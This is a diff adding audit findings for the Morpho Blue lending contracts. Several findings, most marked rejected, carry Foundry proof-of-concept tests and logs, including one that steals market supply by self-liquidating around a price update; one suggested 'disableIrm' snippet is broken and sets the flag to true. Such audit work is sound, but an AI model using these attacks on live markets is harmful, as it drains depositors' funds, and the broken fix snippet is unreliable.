+ console.log(" borrow asset : ", assets);
+ console.log(" borrow shares: ", shares);
+ }
+```
+
+see the logs:
+
+>Logs:
+
+>>supplying liquidity.......... 1000000000000000000000
+
+>>supply asset : 1000000000000000000000
+
+>>supply shares: 1000000000000000000000000000
+
+>>**user 2**
+
+>>borrowing asset user 2.......... 8000000000000000000
+
+>>collateral : 10000000000000000000
+
+>>borrow asset : 8000000000000000000
+
+>>borrow shares: 8000000000000000000000000
+
+ >>**BORROWER**
+
+ >>borrowing asset BORROWER.......... 8000000000000000000
+
+ >>collateral : 10000000000000000000
+
+ >>borrow asset : 7999999999999999999
+
+>> borrow shares: 7999649322755828724250709
+
+ >>**BORROWER**
+
+>> borrowing asset BORROWER.......... 8000000000000000000
+
+ >>collateral : 10000000000000000000
+
+ >> borrow asset : 0
+
+ >> borrow shares: 0
+
+As you can see BORROWER whit the same collateral was not able to borrow his maxBorrow - 1e17
+
+
+- **Recommendation**:
+
+check the help factor directly with the borrow amount (in assets) that the borrower make, if this borrow amount is max than the max borrow calculate then revert.
+
+
+
+### Missing Disable Functionality for Interest Rate Models (IRM) in enableIrm Function _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The `Morpho:enableIrm` function in the smart contract enables an Interest Rate Model (IRM) but lacks a corresponding `disableIrm` function, potentially leaving the system without a mechanism to disable or deactivate an IRM once enabled. This missing functionality could be crucial for system adjustments, risk management, or emergency scenarios. The absence of a disable function may impact the flexibility and security of the smart contract.
+
+
+**Recommendation**:
+add `disableIrm` function
+```
+function disableIrm()(address irm) external onlyOwner {
+ isIrmEnabled[irm] = true;
+ emit EventsLib.DisableIrm(irm);
+ }
+```
+
+
+
+### unexpected behavior if someone suppy 1 share _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The contract protect itself to the donation or inflation attack that is present in vaults contracts whit VIRTUAL_SHARES and VIRTUAL_ASSETS, thus if a user supply 1 asset he get 1e6 shares, but if a person supply 1 shares he get 1 asset breaking the balance of the pool.
+
+- **Impact**
+Malicius user can break the pool supplying 1 share, the consecuence can be in some cases user whitdrawing lees than it should be, in some cases users can no whitdraw all his money at the final of the pool.
+
+- **Proof of concept**
+Run the next test in foundry in test/forge/BaseTest.sol
+
+```
+function test_supplyingOneshareAtheBegining() public {
+ uint256 assets;
+ uint256 shares;
+
+ address attacker = address(12);
+ vm.startPrank(attacker);
+ loanToken.setBalance(attacker, 4 ether);
+ loanToken.approve(address(morpho), 4 ether);
+ console.log("attacker supplying 1 share");
+
+ for (uint256 i = 0; i < 100; i++) {
+ (assets, shares) = morpho.supply(marketParams, 0, 1, attacker, hex"");
+ }
+
+ console.log("assets:", assets);
+ console.log("shares:", shares);
+ vm.stopPrank();
+
+ loanToken.setBalance(address(this), 4 ether);
+
+ console.log("supplying liquidity.....");
+ (assets, shares) = morpho.supply(marketParams, 4 ether, 0, address(this), hex"");
+ console.log("assets address this:", assets);
+ console.log("shares address this:", shares);
+
+ loanToken.setBalance(SUPPLIER, 4 ether);
+ console.log("supplying liquidity from SUPPLIER.....");
+
+ vm.startPrank(SUPPLIER);
+ loanToken.approve(address(morpho), 4 ether);
+ (uint256 assetsSUPPLIER, uint256 sharesSUPPLIER) = morpho.supply(marketParams, 4 ether, 0, SUPPLIER, hex"");
+ console.log("assets:", assetsSUPPLIER);
+ console.log("shares:", sharesSUPPLIER);
+ vm.stopPrank();
+
+ address victim = address(20);
+ loanToken.setBalance(victim, 4 ether);
+
+ vm.startPrank(victim);
+ loanToken.approve(address(morpho), 4 ether);
+ console.log("supplying liquidity from victim.....");
+
+ (uint256 assetsVictim, uint256 sharesVictim) = morpho.supply(marketParams, 4 ether, 0, victim, hex"");
+ console.log("assets:", assetsVictim);
+ console.log("shares:", sharesVictim);
+ vm.stopPrank();
+
+ console.log("withdrawing liquidity.....");
+ (uint256 assetsAddresThis, uint256 sharesAddresThis) =
+ morpho.withdraw(marketParams, 0, shares, address(this), address(this));
+ console.log(" withdraw asset : ", assetsAddresThis);
+ console.log(" withdraw shares: ", sharesAddresThis);
+
+ vm.startPrank(SUPPLIER);
+ console.log("withdrawing liquidity SUPPLIER.....");
+ (assetsAddresThis, sharesAddresThis) = morpho.withdraw(marketParams, 0, sharesSUPPLIER, SUPPLIER, SUPPLIER); //@audit
+ // witdrawing more
+ console.log(" withdraw asset : ", assetsAddresThis);
+ console.log(" withdraw shares: ", sharesAddresThis);
+ vm.stopPrank();
+
+ vm.startPrank(victim);
+ console.log("withdrawing liquidity victim.....");
+ (assetsAddresThis, sharesAddresThis) = morpho.withdraw(marketParams, 0, sharesVictim, victim, victim);
+ console.log(" withdraw asset : ", assetsAddresThis);
+ console.log(" withdraw shares: ", sharesAddresThis);
+ vm.stopPrank();
+ }
+```
+
+Seen the logs we can see that:
+
+ >>attacker supplying 1 share
+
+ >>assets: 1
+
+ >>shares: 1
+
+ >>supplying liquidity.....
+
+ >>assets address this: 4000000000000000000
+
+ >>shares address this: 39607920792079207920792
+
+ >>supplying liquidity from SUPPLIER.....
+
+ >>assets: 4000000000000000000
+
+ >>shares: 39607920792079207920792
+
+>> supplying liquidity from victim.....
+
+ >>assets: 4000000000000000000
+
+>> shares: 39607920792079207920792
+
+ >> withdrawing liquidity.....
+
+ >> withdraw asset : 3999999999999999999
+
+ >>withdraw shares: 39607920792079207920792
+
+As you notice the first person to whitdraw get less assets that it should be, this is no only present if a malicius user supply at the beginning of the pool, in all instances is someone supply 1 share, it break the consistent of the pool.
+
+- **Recomendation**
+Consider add checks if a user send a transaction whit less than 1e6 shares.
+
+
+
+### Morpho Blue Markets Incompatible with rebasing tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Certain tokens may make arbitrary balance modifications outside of transfers (e.g. Ampleforth style
+rebasing tokens, Compound style airdrops of governance tokens, mintable / burnable tokens).
+
+Current implementation is not support such tokens, When user supply either loan token and collateral, it will store the fixed `assets` to calculate `shares` amount.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L183
+
+```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+>>> position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L310
+
+
+```solidity
+ function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+ external
+ {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ // Don't accrue interest because it's not required and it saves gas.
+
+>>> position[id][onBehalf].collateral += assets.toUint128();
+
+ emit EventsLib.SupplyCollateral(id, msg.sender, onBehalf, assets);
+
+ if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+
+ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+
+But when users withdraw theirs assets (loan token or collateral), it is not considering the modifications to these balances (increase or decrease), lead to operating with outdated information.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L320-L339
+
+```solidity
+ function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+ external
+ {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+>>> position[id][onBehalf].collateral -= assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+
+ emit EventsLib.WithdrawCollateral(id, msg.sender, onBehalf, receiver, assets);
+
+>>> IERC20(marketParams.collateralToken).safeTransfer(receiver, assets);
+ }
+```
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L214-L216
+
+```solidity
+ function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+>>> else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+>>> IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+If the rebase token is used for a loan token, users may only get the interest from the Morpho blue market but not consider the rebasing value, and this could lead to a loss of funds.
+
+If the rebase token is used as collateral, besides loss of funds, the healthy condition check also does not consider the updated balance information and could lead to liquidation where it is not supposed to.
+
+
+**Recommendation**:
+
+Explicitly state in documentation for market creator to not use rebasing tokens for collateral and loan tokens.
+
+
+
+### grief attack ( fee recipient can't take out the fees ) could happen _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Everytime accureInterst is called and fee is set to more than 0 , there will be fee for market .There is also fee recipient to collect those fee . In this protocol , fee recipient receive fee in terms of shares .These shares are exchangeable to assets by calling withdraw .But there is check that require market[id].totalBorrowAssets <= market[id].totalSupplyAssets otherwise we can't withdraw the assets .Fee recipient also can't withdraw assets if this condition is met . We can create the condition that totalSupplyAssets is equal to totalBorrowAssets by withdraw the assets and borrow the more assets with front running .
+**Recommendation**:
+make borrower can't borrow those fee by excluding fee in check
+market[id].totalBorrowAssets <= market[id].totalSupplyAssets - feeAssets
+
+
+
+
+
+### ` MorphoBalancesLib.expectedSupplyAssets` return wrong value if called by morpho blue fee recipient. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+` MorphoBalancesLib.expectedSupplyAssets` is a function intended to be used by integrators to view supply assets of user on the provided `marketParams`.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L95-L105
+
+```solidity
+ function expectedSupplyAssets(IMorpho morpho, MarketParams memory marketParams, address user)
+ internal
+ view
+ returns (uint256)
+ {
+ Id id = marketParams.id();
+ uint256 supplyShares = morpho.supplyShares(id, user);
+ (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = expectedMarketBalances(morpho, marketParams);
+
+ return supplyShares.toAssetsDown(totalSupplyAssets, totalSupplyShares);
+ }
+```
+
+When this function called, it will first get user `supplyShares`, then get `totalSupplyAssets` and `totalSupplyShares` after considering accrued interest by calling `expectedMarketBalances`. Then it will calculate `supplyAssets` based on those values.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol#L33-L62
+
+```solidity
+ function expectedMarketBalances(IMorpho morpho, MarketParams memory marketParams)
+ internal
+ view
+ returns (uint256, uint256, uint256, uint256)
+ {
+ Id id = marketParams.id();
+
+ Market memory market = morpho.market(id);
+
+ uint256 elapsed = block.timestamp - market.lastUpdate;
+
+ // Skipped if elapsed == 0 of if totalBorrowAssets == 0 because interest would be null.
+ if (elapsed != 0 && market.totalBorrowAssets != 0) {
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRateView(marketParams, market);
+ uint256 interest = market.totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market.totalBorrowAssets += interest.toUint128();
+ market.totalSupplyAssets += interest.toUint128();
+
+ if (market.fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market.fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already updated.
+ uint256 feeShares =
+ feeAmount.toSharesDown(market.totalSupplyAssets - feeAmount, market.totalSupplyShares);
+ market.totalSupplyShares += feeShares.toUint128();
+ }
+ }
+
+ return (market.totalSupplyAssets, market.totalSupplyShares, market.totalBorrowAssets, market.totalBorrowShares);
+ }
+```
+
+However, if this function is called by morpho fee recipient, it will use `supplyShares` that do not yet include `feeShares`, even though the `totalSupplyShares` is already increased by the calculated `feeShares`.
+
+This will cause the supply assets returned from the function to be wrong and all operations of integrators that will be called by morpho fee recipient using this `expectedMarketBalances` will proceed using the wrong value.
+
+As a note, this function is heavily used inside Metamorpho vault.
+
+**PoC**:
+
+Add this test inside `morpho-blue/test/forge/integration/AccrueInterestIntegrationTest.sol` :
+
+```solidity
+ function testExpectedSupplyAssetsWrongValue() public {
+ vm.prank(OWNER);
+ morpho.setFee(marketParams, 0.2e18);
+
+ uint256 amountCollateral = 100 ether;
+ uint256 amountSupplied = 100 ether;
+ uint256 amountBorrowed = 70 ether;
+ uint256 timeElapsed = 30 days;
+
+ loanToken.setBalance(address(this), amountSupplied);
+ morpho.supply(marketParams, amountSupplied, 0, address(this), hex"");
+ loanToken.setBalance(FEE_RECIPIENT, 10 ether);
+ vm.startPrank(FEE_RECIPIENT);
+ loanToken.approve(address(morpho), type(uint256).max);
+ morpho.supply(marketParams, 10 ether, 0, FEE_RECIPIENT, hex"");
+ vm.stopPrank();
+
+ // borrower actions and time elapsed
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + timeElapsed);
+
+ uint256 expectedSupplyAssets = morpho.expectedSupplyAssets(marketParams, FEE_RECIPIENT);
+ uint256 expectedSupplyAssetsOther = morpho.expectedSupplyAssets(marketParams, address(this));
+ console.log("Expected Supply Assets of fee recipient : ");
+ console.log(expectedSupplyAssets);
+ console.log("Expected Supply Assets of non-fee recipient : ");
+ console.log(expectedSupplyAssetsOther);
+
+ // actual supply assets
+ morpho.accrueInterest(marketParams);
+ uint256 supplySharesFeeRecipient = morpho.supplyShares(id, FEE_RECIPIENT);
+ uint256 supplySharesOther = morpho.supplyShares(id, address(this));
+ uint256 totalSupplyAssets = morpho.totalSupplyAssets(id);
+ uint256 totalSupplyShares = morpho.totalSupplyShares(id);
+ uint256 actualSupplyAssets = supplySharesFeeRecipient.toAssetsDown(totalSupplyAssets, totalSupplyShares);
+ uint256 actualSupplyAssetsOther = supplySharesOther.toAssetsDown(totalSupplyAssets, totalSupplyShares);
+ console.log("Actual supply assets of fee recipient : ");
+ console.log(actualSupplyAssets);
+ console.log("Actual supply assets of non-fee recipient : ");
+ console.log(actualSupplyAssetsOther);
+ }
+```
+
+Add this line inside the `AccrueInterestIntegrationTest.sol` :
+
+```diff
+
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../BaseTest.sol";
+
+contract AccrueInterestIntegrationTest is BaseTest {
+ using MathLib for uint256;
+ using MorphoLib for IMorpho;
++ using MorphoBalancesLib for IMorpho;
+ using SharesMathLib for uint256;
+ ...
+}
+```
+
+Run the test :
+
+```shell
+forge test --match-contract AccrueInterestIntegrationTest --match-test testExpectedSupplyAssetsWrongValue -vvv
+```
+
+Log Output :
+
+```shell
+Logs:
+ Expected Supply Assets of fee recipient :
+ 10273359190755081831
+
+ Expected Supply Assets of non-fee recipient :
+ 102733591907550818312
+
+ Actual supply assets of fee recipient :
+ 11025096965331556867
+
+ Actual supply assets of non-fee recipient :
+ 102733591907550818312
+```
+
+From the test, it can be observed that fee recipient expected and actual supply assets is different, while other users will have the same exact output.
+
+**Recommendation**:
+
+Update the `expectedMarketBalances` to consider accrued `feeShares` and add it to user `supplyShares` if the provided user address is moprho blue fee recipient.
+
+
+
+### Consider adding additional checks on _isHealthy function for the borrower parameter _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+There are currently no checks implemented for matching the borrower with the correspondent marketParams and additionally the borrower parameter is not checked against zero address, returning inconsistent data when functions such as liquidate are calling it.
+
+The actual implementation of `_isHealthy` considers that the inputs of _marketParams_ and _id_ are matching, but this is currently not enough when involving the _borrower address_. As an example, when performing a liquidation the borrower address is not verified to match the given marketParams leading to undesired output. The following PoC shows how a random borrower (or zero address) is introduced in the liquidate function for the LIQUIDATOR returning a “healthy position” although that position does not exist for the introduced borrower.
+
+We can use Liquidation tests for demonstrating the issue described above:
+```
+
+function testBadDebtOverTotalBorrowAssets() public {
+ uint256 collateralAmount = 10 ether;
+ uint256 loanAmount = 1 ether;
+ _supply(loanAmount);
+
+ collateralToken.setBalance(BORROWER, collateralAmount);
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, collateralAmount, BORROWER, hex"");
+ morpho.borrow(marketParams, loanAmount, 0, BORROWER, BORROWER);
+ // Trick to inflate shares, so that the computed bad debt is greater than the total debt of the market.
+ morpho.borrow(marketParams, 0, 1, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ oracle.setPrice(1e36 / 100);
+
+ loanToken.setBalance(LIQUIDATOR, loanAmount);
+ vm.prank(LIQUIDATOR);
+ **// Set the borrower to address 0 for liquidate function**
+ morpho.liquidate(marketParams, address(0), collateralAmount, 0, hex"");
+ }
+
+```
+It is important to highlight that liquidate is returning a healthy position for address(0). Regardless of the additonal verifications for the borrrower with marketParams, there should be in place also a checking for borrower!=address(0):
+
+```
+ ├─ [0] VM::prank(Liquidator: [0x566fc8bbaB6C37e8C96bC3811028b2E77E590c3f])
+ │ └─ ← ()
+ ├─ [6880] Morpho::liquidate((0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1, 800000000000000000 [8e17]), 0x0000000000000000000000000000000000000000, 10000000000000000000 [1e19], 0, 0x)
+ │ ├─ [283] OracleMock::price() [staticcall]
+ │ │ └─ ← 10000000000000000000000000000000000 [1e34]
+ │ └─ ← "position is healthy"
+ └─ ← "position is healthy"
+```
+
+
+**Recommendation**:
+
+It is necessary to add extra sanity checks to `_isHealthy` function first because it returns a "position is healthy" to an address that does not exist in the liquidation process and also ensuring this address is non zero will be also required.
+
+
+
+### Contrary to what was stated in the Whitepaper, there can be bank run scenarios when a borrower does not repay their loan. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Links
+https://github.com/morpho-org/morpho-blue/blob/main/morpho-blue-whitepaper.pdf
+https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L220
+
+- Impact
+If there are some unrepaid borrows in Morpho Blue(i.e. totalBorrowAssets>0), Some Suppliers(specifically the last few) won't be able to withdraw their supplies.
+
+This will lead to cases where if there is a rush to withdraw liquidity(e.g. if suppliers predict massive drop in collToken price, or spike in loanToken price which could lead to baddebt as a result of mass liquidations), the last set of suppliers won't be able to withdraw most or all of their assets
+
+This is a valid bank run scenario which, according to the whitepaper, protocol is trying to eliminate. [Whitepaper](https://github.com/morpho-org/morpho-blue/blob/main/morpho-blue-whitepaper.pdf) module 2 paragraph 2: "Morpho Blue eliminates the risks of bank runs".
+
+
+- Proof of Concept
+Whenever there is a rush to withdraw liquidity, for example, if there is a drop in price of collateral token, leading to mass liquidations that could cause bad debt, liquidity providers might want to withdraw their liquidity to avoid massive bad debt penalty, but as long as there are some borrowed assets, the unlucky last set of liquidity providers will not be able to withdraw, leading to a Bank run scenario.
+
+Have a look at the Morpho#withdraw function:
+```solidity
+function withdraw(
+ ...
+)external returns (uint256, uint256){
+ ...
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+ ...
+}
+```
+
+From the above code snippet above, we can see that if there are some unrepaid borrows, the equivalent amount of assets cannot be withdrawn by suppliers(liquidity providers). This leads to the following scenario:
+- Alice, Bob and Charles supply 10 tokens each
+- Darwin borrows 15 tokens
+- If all three suppliers want to withdraw at about same time,
+ - first withdrawer can withdraw 10 tokens
+ - second withdrawer can withdraw 5 tokens
+ - third withdrawer can't withdraw any tokens.
+
+
+- Tools Used
+Manual Review
+
+- Recommendation
+Here is my suggestion:
+Supplier should only be able to claim a prorata share of totalSupplyAssets-totalBorrowAssets, and should only be able to claim more if the current totalBorrowAssets/totalSupplyAssets ratio is greater than what it was when the user last withdrew.
+
+Note that this may not be the most appropriate or optimal solution
+
+
+
+### Owner can't disable malicious Interest Rate Model (IRM) contract from isIrmEnabled mapping _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+
+If a hacker successfully conceals malicious functionality within an approved IRM contract, the Morpho owner lacks the capability to disable the contract. This becomes critical when the hacker manipulates interest rates to trigger liquidation of borrowers' positions.
+
+- Detail
+
+Hackers employ various techniques such as external calls, upgradable contracts, and intricate assembly operations to obfuscate malicious intent. In a hypothetical scenario, if a hacker manages to pass validation and gain approval for their IRM, they can create attractive markets to attract lenders and borrowers. Once the hacker accumulates sufficient collateral, they can raise the interest rate, leading to instant liquidation.
+
+The Morpho owner possesses the ability to approve IRMs using the [**enableIrm**](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L107) function but lacks a method to disable IRMs for future use in new contracts.
+
+- Recommended Mitigation Steps
+
+To address this vulnerability, it is recommended to introduce a **disableIrm** function. Additionally, consider implementing functionality to pause the market, providing time to address issues related to malicious IRM contracts.
+
+```solidity
+// ErrorsLib.sol
+string internal constant DISABLED = "disabled";
+
+// EventsLib.sol
+event DisableIrm(address indexed irm);
+
+// Morpho.sol
+function disableIrm(address irm) external onlyOwner {
+ require(isIrmEnabled[irm], ErrorsLib.DISABLED);
+
+ isIrmEnabled[irm] = false;
+
+ emit EventsLib.DisableIrm(irm);
+}
+```
+
+
+
+
+### Attacker can steal market supply in case of price drop
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+In the case of a price drop where collateral value drops compared to loan token value, an attacker can sandwich the price change by supply and borrow a huge amount of assets to make a healthy position (that will be liquidatable after the price change), then after price changed, liquidate his own position to seize all the collateral. Attackers will get a profit equal to the market supplier's bad debt.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L410
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L300-L317
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501-L507
+
+**PoC Scenario**:
+
+**Market State :**
+Loan token supply : 1000e18 token
+Collateral/Loan token price : 1.25e36
+
+Attacker see tx that will update Collateral/Loan token price to 1e36
+
+Attacker supply collateral token : 1000e18 token
+Attacker borrow loan token : 1000e18 token
+Attacker LTV with 1.25e36 price : 0.8
+
+Then price change to 1e36 and attacker position will be liquidatable.
+
+Attacker liquidate his own position and seize all collateral assets.
+
+Attacker get profit 60e18 loan token from bad debt, while maintaining all his collateral assets.
+
+**Coded PoC**:
+
+Add this test to `morpho-blue/test/forge/integration/LiquidateIntegrationTest.sol` :
+
+```solidity
+ function testStealSupplyAtPriceChange() public {
+
+ LiquidateBadDebtTestParams memory params;
+
+ // calculate amount collateral and amount borrowed at price
+ uint256 amountCollateral = 1000 ether;
+ uint256 amountBorrowed = 1000 ether;
+ uint256 priceCollateralBefore = 1.25e36;
+ uint256 priceCollateralAfter = 1e36;
+ params.liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+ params.expectedRepaid =
+ amountCollateral.mulDivUp(priceCollateralAfter, ORACLE_PRICE_SCALE).wDivUp(params.liquidationIncentiveFactor);
+ uint256 minBorrowed = Math.max(params.expectedRepaid, amountBorrowed);
+ amountBorrowed = bound(amountBorrowed, minBorrowed, Math.max(minBorrowed, MAX_TEST_AMOUNT));
+ console.log("amount borrowed :");
+ console.log(amountBorrowed);
+ console.log("amount collateral :");
+ console.log(amountCollateral);
+ uint256 amountSupplied = 1000 ether;
+ _supply(amountSupplied);
+
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ oracle.setPrice(priceCollateralBefore);
+ console.log("balance of borrower before (collateral token) :");
+ console.log(collateralToken.balanceOf(BORROWER));
+ console.log("balance of borrower before (loan token) :");
+ console.log(loanToken.balanceOf(BORROWER));
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ oracle.setPrice(priceCollateralAfter);
+
+
+ params.expectedRepaidShares =
+ params.expectedRepaid.toSharesDown(morpho.totalBorrowAssets(id), morpho.totalBorrowShares(id));
+ params.borrowSharesBeforeLiquidation = morpho.borrowShares(id, BORROWER);
+ params.totalBorrowSharesBeforeLiquidation = morpho.totalBorrowShares(id);
+ params.totalBorrowBeforeLiquidation = morpho.totalBorrowAssets(id);
+ params.totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id);
+ params.expectedBadDebt = (params.borrowSharesBeforeLiquidation - params.expectedRepaidShares).toAssetsUp(
+ params.totalBorrowBeforeLiquidation - params.expectedRepaid,
+ params.totalBorrowSharesBeforeLiquidation - params.expectedRepaidShares
+ );
+ // vm.prank(LIQUIDATOR);
+ vm.prank(BORROWER);
+
+ vm.expectEmit(true, true, true, true, address(morpho));
+ emit EventsLib.Liquidate(
+ id,
+ BORROWER,
+ BORROWER,
+ params.expectedRepaid,
+ params.expectedRepaidShares,
+ amountCollateral,
+ params.expectedBadDebt * SharesMathLib.VIRTUAL_SHARES
+ );
+ (uint256 returnSeized, uint256 returnRepaid) =
+ morpho.liquidate(marketParams, BORROWER, amountCollateral, 0, hex"");
+
+ assertEq(returnSeized, amountCollateral, "returned seized amount");
+ assertEq(returnRepaid, params.expectedRepaid, "returned asset amount");
+ assertEq(morpho.collateral(id, BORROWER), 0, "collateral");
+ assertEq(
+ loanToken.balanceOf(address(morpho)),
+ amountSupplied - amountBorrowed + params.expectedRepaid,
+ "morpho balance"
+ );
+ assertEq(collateralToken.balanceOf(address(morpho)), 0, "morpho collateral balance");
+ // assertEq(collateralToken.balanceOf(LIQUIDATOR), amountCollateral, "liquidator collateral balance");
+
+ // Bad debt realization.
+ assertEq(morpho.borrowShares(id, BORROWER), 0, "borrow shares");
+ assertEq(morpho.totalBorrowShares(id), 0, "total borrow shares");
+ assertEq(
+ morpho.totalBorrowAssets(id),
+ params.totalBorrowBeforeLiquidation - params.expectedRepaid - params.expectedBadDebt,
+ "total borrow"
+ );
+ assertEq(
+ morpho.totalSupplyAssets(id), params.totalSupplyBeforeLiquidation - params.expectedBadDebt, "total supply"
+ );
+ console.log("balance of borrower after (collateral token) :");
+ console.log(collateralToken.balanceOf(BORROWER));
+ console.log("balance of borrower after (loan token) :");
+ console.log(loanToken.balanceOf(BORROWER));
+ console.log("bad debt : ");
+ console.log(params.expectedBadDebt);
+ }
+```
+
+Run the test :
+
+```shell
+forge test --match-contract LiquidateIntegrationTest --match-test testStealSupplyAtPriceChange -vvv
+```
+
+Test output :
+
+```shell
+Logs:
+ amount borrowed :
+ 1000000000000000000000
+ amount collateral :
+ 1000000000000000000000
+
+ balance of borrower before (collateral token) :
